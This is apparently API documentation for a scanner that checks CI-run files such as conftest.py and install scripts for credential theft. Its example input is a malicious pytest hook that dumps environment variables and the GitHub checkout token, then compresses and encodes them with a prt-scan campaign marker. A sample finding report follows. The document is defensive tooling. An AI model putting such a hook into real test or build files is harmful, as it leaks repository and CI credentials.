> ## Documentation Index
> Fetch the complete documentation index at: https://docs.custoden.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Analyze files that run during CI

> Find credential theft hidden in package scripts, test setup, build files and shell scripts.

Some campaigns leave workflows untouched and hide the payload in a file the workflow already runs: a `postinstall` script, `conftest.py`, `setup.py` or a Makefile target. This endpoint checks those files for:

* Reading the token that `actions/checkout` stores, dumping the environment, and harvesting credential files
* Install hooks that run hidden scripts
* Workflows created or dispatched from build code, and forged commit statuses
* Exfiltration endpoints, encoded or obfuscated code, and indicators from campaigns such as prt-scan and wfx-loot

Send the files a pull request adds or changes. The [GitHub Action](https://docs.custoden.com/guides/github-action.md) does this for you.

Costs 2 units of your [rate limit](https://docs.custoden.com/getting-started/rate-limits.md) per request. Files are analyzed in memory and not stored.

## Request

```bash theme={null}
curl -X POST https://api.custoden.com/v1/github/files/analyze \
  -H 'content-type: application/json' \
  -d '{"files": [{"path": "tests/conftest.py", "content": "..."}]}'
```

| Field | Type | Description |
| - | - | - |
| `files` | array | 1 to 10 files |
| `files[].path` | string | Repository-relative path, up to 512 characters. The file name decides how the file is analyzed |
| `files[].content` | string | File contents |

The body can be up to 256 KB.

## Example

```python tests/conftest.py theme={null}
def pytest_configure(config):
    os.system("echo '==PRT_EXFIL_START_9c4e1a==' && (env; echo PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader)) | gzip -c | base64")
```

```json theme={null}
{
  "summary": { "critical": 2, "high": 1, "medium": 0, "low": 0, "info": 0, "total": 3 },
  "files": [{ "path": "tests/conftest.py", "kind": "python-test-setup" }],
  "findings": [
    {
      "rule": "checkout-token-extraction",
      "severity": "critical",
      "title": "Reads the token that actions/checkout stores in git config",
      "detail": "Contains \"http.https://github.com/.extraheader\".",
      "path": "tests/conftest.py",
      "line": 2
    },
    {
      "rule": "campaign-indicator",
      "severity": "critical",
      "title": "Matches the prt-scan campaign",
      "detail": "Contains \"==PRT_EXFIL_START_\", an indicator published for prt-scan. ...",
      "path": "tests/conftest.py",
      "line": 2
    },
    { "rule": "environment-dump", "severity": "high", "...": "..." }
  ]
}
```

## Response

| Field | Type | Description |
| - | - | - |
| `summary` | object | Count of findings per severity, plus `total` |
| `files` | array | Each file with its `kind`: `package-manifest`, `python-build`, `python-test-setup`, `makefile`, `script`, `action` or `source` |
| `findings` | array | See [CI file rules](https://docs.custoden.com/reference/ci-file-rules.md) |

### Finding

| Field | Type | Description |
| - | - | - |
| `rule` | string | Stable rule ID |
| `severity` | string | `critical`, `high`, `medium`, `low` or `info` |
| `title` | string | One-line summary |
| `detail` | string | What was found |
| `path` | string | The file it was found in |
| `line` | integer | 1-based line |

## Errors

| Status | Code | When |
| - | - | - |
| 400 | `invalid_request` | No `files` array, or a file without `path` and `content` strings |
| 400 | `too_many_files` | More than 10 files |
| 400 | `invalid_json` | Body could not be parsed |
| 413 | `payload_too_large` | Body exceeds 256 KB |
| 429 | `rate_limited` | See [Rate limits](https://docs.custoden.com/getting-started/rate-limits.md) |


## OpenAPI

````yaml POST /v1/github/files/analyze
openapi: 3.1.0
info:
  title: Custoden API
  version: v1
  description: >-
    Free, keyless API for checking open-source packages and GitHub Actions
    workflows.
  contact:
    url: https://github.com/Custoden/docs
servers:
  - url: https://api.custoden.com
security: []
paths:
  /v1/github/files/analyze:
    post:
      summary: Analyze files that run during CI
      description: Costs 2 rate limit units. Up to 10 files and 256 KB per request.
      operationId: analyzeCiFiles
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              required:
                - files
              properties:
                files:
                  type: array
                  minItems: 1
                  maxItems: 10
                  items:
                    type: object
                    required:
                      - path
                      - content
                    properties:
                      path:
                        type: string
                        maxLength: 512
                        description: >-
                          Repository-relative path. The file name decides how it
                          is analyzed
                      content:
                        type: string
      responses:
        '200':
          description: CI files report
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/FilesReport'
        '400':
          $ref: '#/components/responses/Error'
        '413':
          $ref: '#/components/responses/Error'
        '429':
          $ref: '#/components/responses/RateLimited'
components:
  schemas:
    FilesReport:
      type: object
      required:
        - summary
        - files
        - findings
      properties:
        summary:
          $ref: '#/components/schemas/SeveritySummary'
        files:
          type: array
          items:
            type: object
            properties:
              path:
                type: string
              kind:
                type: string
                enum:
                  - package-manifest
                  - python-build
                  - python-test-setup
                  - makefile
                  - script
                  - action
                  - source
        findings:
          type: array
          items:
            $ref: '#/components/schemas/FileFinding'
    SeveritySummary:
      type: object
      required:
        - critical
        - high
        - medium
        - low
        - info
        - total
      properties:
        critical:
          type: integer
        high:
          type: integer
        medium:
          type: integer
        low:
          type: integer
        info:
          type: integer
        total:
          type: integer
    FileFinding:
      type: object
      required:
        - rule
        - severity
        - title
        - detail
        - path
        - line
      properties:
        rule:
          type: string
        severity:
          $ref: '#/components/schemas/Severity'
        title:
          type: string
        detail:
          type: string
        path:
          type: string
        line:
          type: integer
    ErrorResponse:
      type: object
      required:
        - error
        - request_id
      properties:
        error:
          $ref: '#/components/schemas/ErrorBody'
        request_id:
          type: string
    Severity:
      type: string
      enum:
        - critical
        - high
        - medium
        - low
        - info
    ErrorBody:
      type: object
      required:
        - code
        - message
      properties:
        code:
          type: string
        message:
          type: string
        details:
          type: object
  responses:
    Error:
      description: Error
      content:
        application/json:
          schema:
            $ref: '#/components/schemas/ErrorResponse'
    RateLimited:
      description: Rate limit exceeded
      headers:
        Retry-After:
          schema:
            type: integer
      content:
        application/json:
          schema:
            $ref: '#/components/schemas/ErrorResponse'

````

This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.